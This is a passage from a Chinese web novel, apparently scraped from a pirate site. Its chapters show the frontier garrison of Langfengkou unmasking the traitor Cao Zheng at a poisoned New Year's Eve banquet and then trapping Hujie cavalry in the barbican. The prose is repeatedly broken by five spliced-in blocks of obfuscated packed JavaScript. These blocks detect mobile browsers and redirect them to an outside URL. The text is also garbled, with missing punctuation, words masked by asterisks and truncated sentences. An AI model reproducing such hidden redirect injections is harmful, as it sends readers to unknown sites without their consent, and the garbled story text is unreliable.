“禀将军,二百五十步已是雕弓极限。纵用铁箭,破重甲需一百五十步内方见血槽之效!”铁勒补充道。 巴查尔紧握着那支铁箭,冰冷的目光从众人身上扫过,说道:“从现在开始,由我接管这支军队,哥哥的大仇,我亲自报,但,属于你们的耻辱,必须由你们自己去洗刷掉!” “告诉我,你们应该怎么做?”巴查尔陡然提高声音,喝问道。 “攻破狼烽口,杀他个片甲不留!” 一众将领大吼道,尽管刚才巴查尔才斩杀了穆尔扎的十多名亲兵,但众人却没有丝毫怨恨,毕竟,在大羌帝国从没有亲兵死在主将之后的先例。 铁勒的眼神中也涌现出熊熊战意,他的目标只有一个,那就是用自己腰间的雕弓,亲手干掉狼烽口那名周军射手。 就在这时,一名身着貂皮衣、浑脱帽,留着两撇小胡子的中年男子凑到巴查尔跟前,小声嘀咕了几句。 巴查尔眯起双眼,问道:“此人可靠吗?” 那人眼神之中闪过一丝狡黠,说道:“此前正是他主动写信给穆尔扎将军,愿主动献降,来我军中换取一个职位!” “本将担心这其中有诈!”巴查尔摸了摸下巴说道他虽然四肢发达可头脑却一点也不简单。 毕竟是拓跋桀亲手培养出来若仅有勇猛拓跋桀又怎么可能放心让他独当一面? “半个时辰前他再次传来密信明日亥时打开城门与我军来个里应外合!”名为察干的小胡子男人将密信递给巴查尔。 后者简单看了一下随即直接将其丢入火堆之中。 狼烽口凌川与苏璃正在吃晚饭自从昨日尝到火锅的滋味后苏璃便欲罢不能主动要求吃火锅。 就在这时门被推开了陈暻垚提着两坛酒走了进来。 “陈大哥来了快坐!”苏璃起身相迎。 陈暻垚用力嗅了嗅笑道:“听说你小子做菜有一手我没来晚吧?” “校尉大人哪里话你可是请都请不来的贵客!”凌川笑道。 苏璃连忙添置一双碗筷又拿来两个酒碗亲手为二人倒酒。 陈暻垚也不客气直接在翻滚的红汤里夹了一筷子吃起来。 “呼……谁教你这么做菜的还真好吃!”陈暻垚赞叹道。 “这是凌郎自己发明的吃法叫火锅!”苏璃解释道。 “火锅?这名字还真没听说过看来我今天是有口福了!” 然而没多久陈暻垚便辣得嘴唇通红额头冒汗可即便如此还是忍不住往碗里夹菜。 还好凌川备菜足够多要不然还真不够吃。 不多时一大锅菜便被扫荡一空两坛酒也所剩无几陈暻垚摸着已经装不下的肚子一脸的意犹未尽。 趁着苏璃收拾碗筷的空档陈暻垚问道:“你小子可是给我惊喜不断啊老实交代今天下午的战阵你是哪儿学来的?” 下午散场之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15947933|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后陈暻垚回到营帐仔细琢磨了一遍又一遍这让他愈发觉得这看似简单的战阵实则相当不凡。 若是狼烽口所有人都按照这个战阵操练战力将呈直线上升。 “以前看过几本兵书具体出处记不得了!”凌川笑着胡诌。 陈暻垚也没有追问而是说出了自己的想法“年后我准备让狼烽口所有兵卒都按照这个战阵操练你担任教头!” “啊?我可能不行……” “少跟我扯犊子 凌川倒也没有推辞而是用只有两个人才能听见的声音说道:“胡羯并未退兵这个年怕是过 不清净!” 陈暻垚闻言,也神色一凝,说道:“你觉得,他们会在什么时候发动进攻?” 凌川嘴角勾起一抹笑意,“那得看鱼什么时候上钩了!” 半个时辰之后,陈暻垚起身离开,凌川跟苏璃打了个招呼,便亲自送他出门。 半路,二人分别,凌川前往城墙巡查,因为,今夜是戊标巡防,他作为标长,得亲自去看看。 来到城墙,大家都按照往日的布防,见到凌川到来,一个个主动打招呼。 “标长!” 凌川也丝毫没有摆架子,跟大家亲切交谈。 很多人看着这个几日前还跟他们一样的少年,短短几天便升任标长,眼神中除了羡慕,还有深深的敬重。 毕竟,凌川三箭退敌的事迹,大大鼓舞了士气,同样,也让许多人看到了晋升的希望,心中已经将凌川当成了自己的榜样。 返回途中,凌川远远看到一道黑影一闪而过,这让他顿时警觉起来。 “谁?” “凌标长,是我!”一道消瘦身影从黑暗中走出,走近之后,凌川借着月光认出了他的身份。 来人是甲标的一名兵卒,昨晚曹巡想要抢夺自己的战功,陈暻垚叫来三名兵卒,其中两人都表示看到曹巡射杀穆尔扎,唯独眼前这个跟自己年龄差不多的少年表示,只看到曹巡射出几箭,并未看到他射中穆尔扎。 此时,他脸上大片青紫,走来也一瘸一拐,显然是遭到了曹巡的报复。 第18章 除夕夜,吞雪楼! “属下名叫余生是甲标的步卒。”少年抱拳说道。 “你这伤是被我连累的吧?”凌川问道。 少年点了点头低下头说道:“我没事!” “昨晚你明明可以跟另外两人一样帮着曹巡做**你为何要说自己没看见?”凌川好奇问道。 少年抬起目光看了他一眼说道:“俺娘说过做人要对得起自己的良心!” “可要是你因此**呢?你还会这么做吗?”凌川又问。 少年摇头说道:“我不知道!” 凌川顿了顿问道:“你找我有事?” 余生点了点头小声说道:“昨日校尉大人交给属下一项任务说如果有消息便向他或者凌标长你汇报!” 凌川一听大致已经知道是什么事了毕竟这是他跟陈暻垚共同商议的对策。 “有情况?” 余生点了点头随后在墙头的积雪上写下‘子时三刻城门’ …… 次日凌川早早起床来到校场开始锻炼如今这具身体跟前世相比还是太瘦弱了战力连前世的一半都不到自己得抓紧时间提升身体素质才行。 回到家中苏璃已经起床正在做早饭。 “你脚伤还没好要多休息让我来吧!” “我伤已经好得差不多了这种事情本该我来做你要把心思放在建功立业上!”苏璃一脸柔情地说道。 凌川笑着回应:“谁说建功立业就不能心疼娘子了?” “今日除夕校尉大人让咱们一起去吃年夜饭!” 提到年夜饭苏璃的眼神中闪过一丝惆怅与哀伤往年每次除夕夜一家人都能团聚在一起可如今自己的家人都不在了。 “凌郎去就行了我去不方便!”苏璃说道。 这一次凌川并未劝说因为他知道这顿年夜饭多半有事情发生。 中午凌川做了一桌子饭菜与苏璃提前吃了团年饭谈不上丰盛却十分精致。 “凌郎咱们银子不多了得省着些花!”苏璃提醒道。 凌川笑道:“娘子不必担心校尉大人已经为我请功估计年后赏银就下来了!” 这次立的战功不小得上奏漠北节度府而且节度府会亲自派人来核查战功。 按大周律阵斩敌酋赏银三千两超擢三级当封校尉。 然如今的大周朝廷无论是对地方政权还是各大军团都已经失去了掌控 力。 昨晚吃饭的时候,陈暻垚便曾透露,校尉就别想了,赏银顶破天也只有一千两。 表面上,大周的政权与疆域都还在,可真正掌控大周的,已经不是皇家天子,而是世家豪阀与执掌兵权的将领统帅。 特别是苏定方老将军倒台之后,这些世家豪门与执掌兵权的将领更加肆无忌惮。 照这样下去,不出三五年,大周必亡! 到那个时候,天下又将陷入群雄逐鹿、遍地狼烟的局面。 正所谓一将功成万骨枯,无论最终谁夺得天下,苦的终究是百姓。 想到这里,凌川内心一阵唏嘘。 下午,凌川应邀前往校尉营,可半路上陈暻垚的一名亲兵前来告知他,今日的年夜饭改到了城中吞雪楼。 吞雪楼是城中唯一的酒楼,毕竟这座只有几千人的边关小城,人们生活本就不易,哪有钱天天去酒楼潇洒? 听到这个消息,凌川眼神之中闪过一抹异色,不过他并未多问,与那名亲兵一起前往吞雪楼。 途中交谈得知,这次是甲标标长曹正做东,邀请所有的标长跟什长前去一聚,就当是为他儿子曹巡赔罪。 凌川心中冷笑,这也更加坚定了他心中的猜测。 一盏茶的功夫,凌川来到酒楼,只见“吞雪楼匾额下悬红绸羊角灯,门首贴‘胡不归’桃符——此乃北疆一带旧俗。 进入大堂之中,只见各标标长、什长都来了不少。 “凌兄弟来了,快坐快坐!曹正一脸笑意地迎了上来,不知道的还以为,两人的关系极为亲密。 凌川敷衍了几句,便被曹正拉着来到主桌,几位标长都坐在这里,而空缺的主位明显是给陈暻垚留着的。 曹正与他手下的几名心腹一直都在热情地招呼着客人,凌川目光扫视一圈,却并未发现曹巡的身影。 此时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15947934|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,还没到饭点,桌上只有几坛酒和一碟花生米、一碟蚕豆。 “凌兄弟,你这次可是让兄弟们开了眼了,来我敬你一碗!乙标标长熊广主动向凌川敬酒。 “老哥过奖了!凌川连忙端起酒碗,与之一饮而尽。 有了熊广带头,其他人也都纷纷向凌川敬酒,毕竟,凌川不仅得校尉赏识,自己所表现出来的能力,更是让他们折服,这样的人,将来成就不可限量。 “凌兄弟,你以后飞黄腾达了,可别忘了咱们这帮老兄弟啊! 凌川一一应对,他的酒量本就不错,前世的高度白 酒,干一斤也不在话下,至于现在喝的米酒,于他而言,比前世的醪糟水也好不了多少。 几碗酒下肚,凌川装作微醺的样子,起身问道:“怎么还不上菜?我去后厨催催!” 说完,便摇摇晃晃地朝着后厨走去。 后厨之中,就只有老板两口子在忙活,毕竟这生意也请不起伙计。 凌川假装喝高了,大着舌头说道:“掌柜的,搞什么呢?再不上菜大家就都喝饱了!” “凌标长稍等,马上就好了,马上就好了!”老板娘是个四十多岁的妇人,虽常年承受边关风雪的侵蚀,但依旧是颇有几分韵味。 凌川也不理会,摇摇晃晃地朝着后院走去,刚到门口便被掌柜给拦住了。 “凌标长,茅房在那边!”掌柜拉着凌川,笑道。 “谁,谁说我要去茅房了?我就到处转转!” “嘿嘿,这后院没什么看的,凌标长先坐着,我这边马上就给你们上菜!”掌柜继续赔笑。 凌川眯着眼睛看向他,问道:“你这后院,该不会是有什么见不得人的东西吧?” 掌柜眼神中闪过一丝慌乱,不过立马就掩饰了起来,笑道:“凌标长说笑了,这后面养的都是些鸡鸭,臭着呢!” 凌川皱了皱眉,在掌柜的搀扶下回到大堂,路过李长隆等人身边的时候,他一个不稳险些摔倒,好在梁盛眼疾手快将他扶住。 “后院!”凌川小声吐出两个字,随后便若无其事地回到了自己的位置。 第19章 年夜饭,鸿门宴! 就在这时,陈暻垚从门外走了进来,他并没带亲兵,而是独自前来。 “校尉大人来了,快请上座!”曹正连忙将陈暻垚迎到主位坐下,随即对掌柜招呼道:“掌柜的,赶紧上菜!” 很快,几桌酒菜便已上齐,猪肉炖粉条、红烧鱼、香酥鸡,还有一些下酒菜,这对于军营的伙食而言,已经是相当丰盛了。 紧接着,几名兵卒端着几坛酒放到桌上,曹正清了清嗓子说道:“今日除夕夜,曹某就喧宾夺主一次,请大家前来一聚,还望校尉大人勿怪!” 陈暻垚笑着摆了摆手,表示无妨。 曹正继续说道:“前日,我那逆子做出有违军规的事情,是曹某教子无方,让大家笑话了,今日一是请大家吃个年夜饭,二是借此机会向诸位赔罪!” 曹正指着桌上的酒,说道:“这酒,可是我花了大价钱从陵州醉仙楼淘来的十里香,大家今日一醉方休!” 听到十里香的名字,很多人不由得眼前一亮。 对于北疆的兵卒而言,严冬腊月就靠着酒过日子,可平日里喝的大多都是米酒,十里香这种高档酒,只有达官显贵才能喝得到。 “曹标长,要一醉方休的话,这每桌一坛酒怕是少了点!”朱骞笑着说道。 “哈哈!朱老弟放心,酒管够,喝完我立马让人去拿!” “十里香这种酒,可不是谁都能喝得到的,大家可别辜负了曹标长的一番美意!”陈暻垚也开口说道。 见陈暻垚都发话了,大家也不再客气,直接拍开封泥倒了起来。 霎时间,醉人的酒香弥漫整个大堂,不少人肚子里的酒虫也都被勾了起来。 “来,我们一起敬曹标长一碗!”乙标标长熊广端起酒碗,起身说道。 “咱们应该先敬校尉大人才对!”曹正笑着说道,随即也举起酒碗。 陈暻垚也端起酒碗,说道:“诸位不必客气,今日放开了吃,敞开了喝!” 所有人连声叫好,随即将碗中美酒一饮而尽。 现场一片欢声笑语,有的**快朵颐,有的人则是接连豪饮,有的三三两两划起了拳。 凌川见陈暻垚朝着自己投来目光,只是微微点了点头。 酒过三巡,只见曹正端着酒碗,径直朝着凌川走来。 “凌兄弟,之前的事情虽是一场误会,但也给你添麻烦了,今日,我代犬子向你赔罪,希望你别往心里去!” 曹正一脸真诚,就算是凌川都有那么一瞬间觉得,他是真心赔罪。 此时的凌川一脸醉态,摆手说道:“曹标长言重了,虽说曹巡想要抢我军功,但那毕竟不是你曹标长指使的,你犯不着给我赔罪!” 曹正嘴角微微抽动了几下,但还是硬着头皮坐了下来。 “校尉大人,这胡羯大军撤而不退,一直在三十里外虎视眈眈,他们这是要做什么?”曹正对陈暻垚问道。 陈暻垚看了他一眼,说道:“自然是伺机而动,想要攻破我狼烽口!” “他们简直是痴心妄想,数十年来,他们攻打狼烽口的次数不下百次,五年前更是出动一万大军,还不是被我们挡在关外!”熊广重重放下酒碗,一脸傲然道。 “狼烽口易守难攻,胡羯就算再增派两千兵力,也无济于事!”陈暻垚顿了顿,继续说道:“可若是有人与胡羯人暗中勾结,想要来个里应外合呢?” 此言一出,现场瞬间安静下来,所有的标长、什长皆是一脸震惊地看向陈暻垚。 “校尉是说,有人通敌?”朱骞一脸凝重地问道。 “砰!”熊广一拍桌子,猛然站起身来,喝问道:“是谁?站出来,看老子不撕碎他!” 一时间,现场的气氛凝重到了极点。 曹正的眼底闪过一丝慌乱,暗忖道:‘莫非,自己的计划暴露了?’ 但,他很快就镇定下来,因为,这个计划除了自己的几名心腹之外,没有人知道,更何况,自己提前在十里香之中下了**,就算他们知道,也为时已晚。 曹正刚回过神,发现一张脸不知何时已经凑到自己跟前,吓了他一跳。 “曹标长,你想什么呢?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15947935|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凌川似笑非笑地看着他问道。 “我,我没想什么啊!”曹正惊慌说道。 凌川却是摇了摇头,说道:“以前有位奇人,教了我一门神通,可以猜到别人心中所想之事!” 曹正尴尬一笑,说道:“哈哈,凌兄弟,你遇到的多半是江湖骗子,当不得真!” 凌川若有所思,说道:“是吗?那今日正好做个验证!” 说完,凌川双手中指跟十指抵住太阳穴,双目紧闭,一阵摇头晃脑。 “曹标长现在在想,胡羯人的一千锐卒应该已经抵达狼烽口关外,只需自己打开城门,他们便可入关,兵不血刃拿下狼烽口!” 此言一出,曹正脸色巨变,怒而起身,喝道:“凌川,你在这里胡言乱语什么?” 陈暻垚拍了拍他的肩膀,镇定自若地说道:“就当他的酒后胡言,你不必紧张!” “校尉大人,我堂堂标长,岂能容他这么污蔑我?” 就在这时,凌川再度开口了:“我还猜到,曹标长现在想着最多一刻钟,酒里的**药效就会发作,然后,你后院的亲兵就会冲进来,将我们全部杀死!” “凌川,你过分了,一而再再而三地污蔑我,真以为老子不敢动你吗?” 曹正满脸怒意,眼神中杀意绽放,可心里却无比震惊,因为,凌川的每一句话都千真万确,他甚至怀疑,凌川是不是真的会听取他人心声的邪术,要不然,这种秘密他怎么可能知道? 而其他人,在听到这番话之后,也彻底坐不住了。 熊广与朱骞二人见状,更是起身将曹正摁住。 “曹正你个**,想不到你竟然真的通敌!” “放开我,凌二狗他借机污蔑我公报私仇,你们难道看不出来吗?”曹正想要挣脱,却被二人死死摁在桌上,无法动弹。 就在这时,凌川也睁开双眼,似笑非笑地看着曹正,说道:“曹标长,我猜得对吗?” “我对你妈,凌二狗你这卑鄙小人,我曹某人堂堂正正,何时做过通敌之事?我看是你心怀不轨吧!”曹正怒声斥道。 第20章 曹正通敌! 原本其乐融融的大堂瞬间变得剑拔**张。 不少人已经猜到了什么也有一些人一脸茫然地看着这边。 此时的凌川脸上再也看不到半点醉态反而是给人一种深不可测的感觉。 “到底是不是污蔑你很快就知道了!”只见凌川拍了拍手李长隆、梁盛等几名戊标什长压着两名士兵走了出来。 这二人被五花大绑嘴巴也被堵住满脸绝望之色。 此外吞雪楼老板夫妇二人也被带了出来虽然没有绑他们可二人也被吓得瑟瑟发抖直接跪在地上求饶。 “校尉大人我们两口子并不知情只是曹标长之前交代要用他带来的酒而且他还说这酒贵重得他手下人亲自看管不让我们碰!”掌柜的浑身颤抖解释道。 陈暻垚点了点头说道:“我知道跟你们无关起来吧!” 二人连连道谢起身站到一旁小心到连呼吸都不敢幅度太大。 看到自己安排在后院的两名手下被绑了上来曹正脸色顿时变得无比难看。 他自问自己所有环节都做得滴水不漏为何会败露? “曹标长你是不是该解释一下这是怎么回事?” “校尉大人你听我说事情不是这样的……” “嗤……”忽然曹正眼中闪过一抹凶光只见他手腕一番手中不知何时出现一把**直接划破了朱骞的手臂。 朱骞吃痛曹正也顺势挣脱只见他快速朝着门口冲去。 “砰……” 就在这时一条板凳飞了过来砸在曹正的后背。 曹正闷哼一声扑倒在地他一边起身一边大喊道:“动手!” “砰!”正堂的门被暴力撞开寒风裹带着风雪席卷进来让大堂的温度陡然骤降与此同时十多名擐甲执兵的士卒便冲了进来。 领头的人正是甲标那几名本该在狼烽口值守的什长。 曹正瞬间有了底气转身看着众人冷笑道:“各位都吃好喝好了吧?接下来我就要送你们上路了!” “曹正 “熊老哥都这个时候了你还看不明白吗?这摆明了是想将我们一网打尽然后开门迎接胡羯大军!”凌川的声音清楚地传入每一个人的耳朵里。 如果说他们只当凌川之前的话是酒后的疯言疯语那么此时再度说出来就不得不令人重视了。 被当众揭穿曹正也 不在乎,而是满脸冷笑地看着众人,说道:“凌二狗,你确实很聪明,只可惜,你知道得太晚了!” 他原本是想着,借着这顿年夜饭,将狼烽口的高层悄无声息地干掉,然后再以最快速度控制狼烽口的兵力,这样,便能轻松打开城门,配合胡羯人拿下狼烽口。 可他没想到,凌川竟然识破了自己的计策,还好自己之前做了充足的准备,在外面布置了人手。 就算他们这群人没有被**迷倒,在这毫无掩体的大堂,一轮乱射下去,有几人能活下来? “王八蛋,你果然要通敌当走狗!”朱骞捂着手臂,怒声喝道。 “话别说得这么难听,正所谓人各有志,咱们当兵为的不就是飞黄腾达吗?反正都是当兵,管他主子是大周皇帝还是胡羯单于?” 曹正满脸愤懑不平,嘶吼道:“那些豪门贵胄一餐抵我辈十年饷!这身铁甲穿了二十载,不及世家子腰间玉带!凭什么?” “为了升官发财,你这是连祖宗都不认了吗?”一直没有说话的丁标标长伍兴邦指着他喝道。 曹正冷笑一声,回应道:“呵呵,少跟我扯这些,胡羯人答应我,只要帮助他们拿下狼烽口,便给我一个千夫长的职位!” “叛徒!” “走狗!” 一时间,各种谩骂声响起。 这些声音,让曹正的脸色变得无比难看,眼神也变得异常阴狠:“这都是陈暻垚逼我的,若非他一意偏袒凌二狗,我何至于此?” 陈暻垚却是无奈地摇了摇头,起身说道:“到现在,你依然没有意识到自己的错误!” “错误?哈哈哈哈……”曹正狂笑几声,指着众人喝道:“历史都是由胜利者 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15947936|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书写的,对错也是我说了算,因为你们马上就要**!” 正当他志得意满之时,凌川却缓步走了上来,说道:“我劝你还是回头看清楚局势再下结论!” “你什么意思?”曹正一脸不解。 也是直到此时,他才意识到,从始至终,陈暻垚与凌川的脸上都没有半点慌乱,这不符合常理。 他下意识扭过头看向身后,只见几名什长站在最前方,不过一个个身形呆板,有气无力,就像是行尸走肉一般。 忽然,几人直接倒地,露出他们身后之人的面孔,赫然是陈暻垚的亲兵。 这一幕,让曹正惊骇欲死。 他简直不敢相信自己手下的几名什长早就**掉了,更想不通,陈暻垚是如何识破自己计划的。 “拿下!” 随着陈暻垚一声令下,几名亲兵迅速朝着曹正扑去。 曹正能从一名普通士卒一步步爬上来成为标长,自身实力也是不容小觑的。 只见他抡起手中**,直接迎了上去,想要冲出重围逃走。 然而,陈暻垚的亲兵也都是百战悍卒,实力相当厉害,他几次冲锋都失败了。 情急之下,曹正想要破窗逃走,结果,刚来到窗边,便被人挡住,定睛一看,赫然是凌川。 “**!” 曹正手中**一翻,径直朝着凌川的咽喉划来。 凌川的脸上没有半点畏惧,甚至连眼睛都没有眨一下,只见他使出‘小擒拿手’三根手指宛如铁钩一般扣其曲池穴,曹正顿觉半身麻痹,**也脱手掉落。 凌川眼疾手快,另一只手接住**,随后快速出手,以迅雷不及掩耳之势,挑断了他双臂手筋。 “啊……” 曹正惨叫一声,一张脸严重扭曲。 紧接着,凌川又是一脚踹在他的胸口,曹正直接倒飞回来,刚落地,便被两名亲兵擒住。 凌川的这一番动作,让现场不少人为之震惊,这身手之敏捷,出刀之精准,整个狼烽口恐怕也找不出几个。 第21章 突袭狼烽口! 感受到架在脖子上战刀传来的寒意曹正内心也是一片冰凉。 事到如今他知道自己的计划全面落空了不出意外的话儿子曹巡在狼烽口的行动也已经失败了。 他满脸的不甘内心更是充满了疑惑看着站在自己面前的陈暻垚问道:“我很想知道你是如何识破我的计划?” 陈暻垚淡漠回答道:“不是我是凌川!” 曹正移动目光看向凌川后者只是淡淡一笑回应道:“我说我是猜的你信吗?” “不可能我的计划如此隐秘除了身边的亲信没有人知道你绝不可能猜得到!” 凌川看着他笑问道:“很隐秘吗?那我就跟你盘点一下你都犯了哪些错误。” “首先是几日前狼烽口外隐秘小道上出现了胡羯斥候要知道这条小路胡羯人是不知道的除非有人给他们提供消息!” “然后是胡羯大军这个时候出兵攻打狼烽口这更加不符合常理再结合之前出现的斥候不得不让人联想到狼烽口有人通敌!” “老实说这两日我与校尉大人在诸位标长身边都安插了眼线结果 “不可能我的人如此谨慎不可能有人看到!”曹正依然不相信。 “你做得确实很隐秘想要瞒过其他人并不难但是想要瞒过你甲标却并不现实!” 曹正一愣他已经听出来是自己手下的人泄露了消息。 “是谁?”曹正怒声问道。 凌川原本并不想暴露对方的身份可他没想到一道身影却主动站了出来。 “是我!” 说话的不是别人正是余生! 看到他曹正目眦欲裂咬牙说道:“你个吃里扒外的东西老子杀了你!” 当日因为余生没有为曹巡作证结果被狠狠揍了一顿他没想到正是此人坏了自己的大事。 事实上当日陈暻垚与凌川有了猜测之后陈暻垚便选定余生来监视曹正父子当晚余生原本是准备将消息禀告陈暻垚的没曾想在途中正好遇到了回营的凌川便将消息告知了他。 “老子认栽要杀要剐赶紧的!”事到如今曹正也知道多说无益。 陈暻垚走上前来从凌川手中拿过那把**缓步走到曹正面前。 “念在多年同袍的份上我给你个痛快!”陈暻垚话音刚落手中**直接刺入他的心口。 “嗤…… 鲜血迸溅而出,曹正双眼猛然瞪大,随即便倒地气绝。 深夜,狼烽口大雪纷飞。 巴查尔亲率一千名胡羯精兵,矗立在关外三里的风雪之中。 他们在等,等狼烽口传来的信号。 巴查尔立马前方,遥望着狼烽口方向,除了漫天飞舞的风雪,他什么都看不到。 “什么时辰了?巴查尔问道。 尽管他们这支马背上的民族长期与风雪为伴,但如此寒冷的天气,在风雪中待久了,士兵和战马依然承受不住。 “快到子时了!身旁的副将看了看马蹄沙漏,回道。 “察干,你确定此人可靠?巴查尔看向另一边的小胡子男人。 察干那两撇胡子已经被冻成了冰锥,颤抖着说道:“应该可靠,毕竟他此前在信中表露,陈暻垚对他各种打压! “如果子时三刻收不到信号,我就取你的脑袋!巴查尔的声音宛如这漫天风雪,冰冷刺骨。 察干脊背生寒,他现在只希望曹正不要耍他,准时发出信号。 时间一点点过去,眼看曹正与他们约定的时间就要过去,察干更是急得如热锅上的蚂蚁。 就在此时,远处的狼烽口上空,亮起一抹烟火,虽然被漫天风雪遮挡,但依旧隐约可见。 “将军快看,信号,狼烽口传来信号了! 察干激动得快要跳起来,因为信号出现,也就意味着他的项上人头保住了。 巴查尔的脸上也浮现出冰冷的笑容,只见他拔出腰间弯刀,高高举起,“所有人听令,直奔狼烽口! 地上厚厚的积雪减缓了行军速度,同时,也在很大程度上降低了马蹄声。 三里路程,对于骑兵而言,不过是片刻间的事情。 当巴查尔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15947937|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带人来到狼烽口城下,发现城墙上静悄悄一片,看不到半个人影,同时,下方的两扇城门大大敞开。 “成了,曹正果然得手了!察干激动地说道。 “杀进去,粮食、银子、女人都是我们的!巴查尔大喝一声,一马当先杀入城门。 后方,一众胡骑如长蛇入穴,生怕落于人后而捞不到军功。 穿过城门进入瓮城,发现,整座瓮城依旧是静悄悄的,看不到一个人影,只有雪花簌簌飘落的声音,仿佛这就是一座空城。 这让巴查尔内心隐隐感觉有些不安。 可狼烽口的地理位置实在是太重要了,这些年来,为了夺下狼烽口,他们损失了不知道多少人马 ,这是他们第一次进入狼烽口的城内,岂会轻易放弃? 瓮城并不大,四五百人便塞得满满的,黑压压一片。 这种极致的安静,让巴查尔感受到了一丝压抑的气氛。 正当他准备下令,让手下进城的时候,瓮城上方响起成片的呐喊声,四周的城墙上方忽然亮起了大量火把。 刹那间,黑压压的瓮城便被照亮,一起被照亮的,还有胡羯人那一张张惊恐的脸庞! “不好,快撤!”巴查尔顿时一惊,他立马意识到这是一个陷阱,果断下令撤退。 “轰隆隆……” 就在这时,城门正上方落下大量的滚石,当场将下方的数十名胡羯士兵砸死,不仅如此,那些动辄数百斤的巨石与滚木直接堵**城门。 “巴查尔,我等你多时了!” 一道爽朗的声音自上方传来,只见身披铠甲的陈暻垚出现在城墙之上。 巴查尔顿时一惊,他与陈暻垚交手虽然不多,但也都认识彼此。 “陈暻垚,你卑鄙!”巴查尔怒目而视。 “正所谓兵不厌诈,你想与曹正里应外合,难道我就不能瓮中捉鳖吗?”陈暻垚话音刚落,一具被绑着双手的尸体被推了下去,吊在瓮城的城墙上。 那尸体不是别人,正是他们寄希望打开城门的曹正。 第22章 瓮中捉鳖! “放箭!” 随着陈暻垚一声令下,上方成片箭雨泼洒而下。 下方的瓮城中,率先冲进来的都是五百骑兵,所配的除了弯刀便是弓箭,佩带盾牌的步卒都被挡在城门外。 这种局面,刀盾能发挥的作用几乎可以忽略,只能成为别人的活靶子。 更要命的是,城门已经被丢下来的巨石和滚木堵死,彻底切断了他们的退路。 巴查尔的亲兵立马拥上来,用身体为他挡箭,尽管他们个个身披铁甲,可依旧还是不断有人倒下。 “从步道冲上去!”巴查尔大喝一声,指着依附在两侧城墙上的步道大吼道。 很快,两批数十人的骑兵直接下马冲向步道,然而,这两支队伍没冲多远,便死于成片箭雨之下。 “继续冲!” 巴查尔再次下令,他知道,冲上去的可能性不大,但除此之外,没有其他选择。 这一次,胡羯士兵学聪明了,他们拔下死去同袍的铠甲举在头顶,以此来抵挡上方射下来的箭雨。 这个方法果然奏效,很快,两支队伍便冲到了二道拐的位置,虽然沿途折损人员过半,但只要再坚持一下,冲过第三道怪,就有很大可能冲上城墙。 瓮城之中,五百人已死伤过半,士兵惨叫声与战马嘶鸣声响成一片。 剩下的人也知道,继续留在这里,只能等死,也都纷纷朝着步道冲去。 忽然,一支铁箭自瓮城中射来,目标正是校尉陈暻垚。 好在陈暻垚早有准备,两名亲兵一左一右举着盾牌候命。 “噗……” 然而,他们还是低估了这一箭的威力,只见那铁箭直接洞穿了盾牌,箭镞冒出来半尺长,那名亲兵冷汗都被吓了出来。 射出这一箭的不是别人,正是铁勒。 作为一名出色的射手,他对于危险有着异于常人的直觉,事实上,进入瓮城之中的一系列反常,都让他感到了危险,可他还来不及说出来,便已成为了瓮中之鳖。 眼下,他能做的便是射杀敌军主将陈暻垚,然而,上次陈暻垚险些被他射杀,这一次又岂会没有防备? 他第一箭被挡下之后,直接拔出三支铁箭,迅速搭在雕弓之上。 “咻咻咻……”三支铁箭同时射向城墙之上。 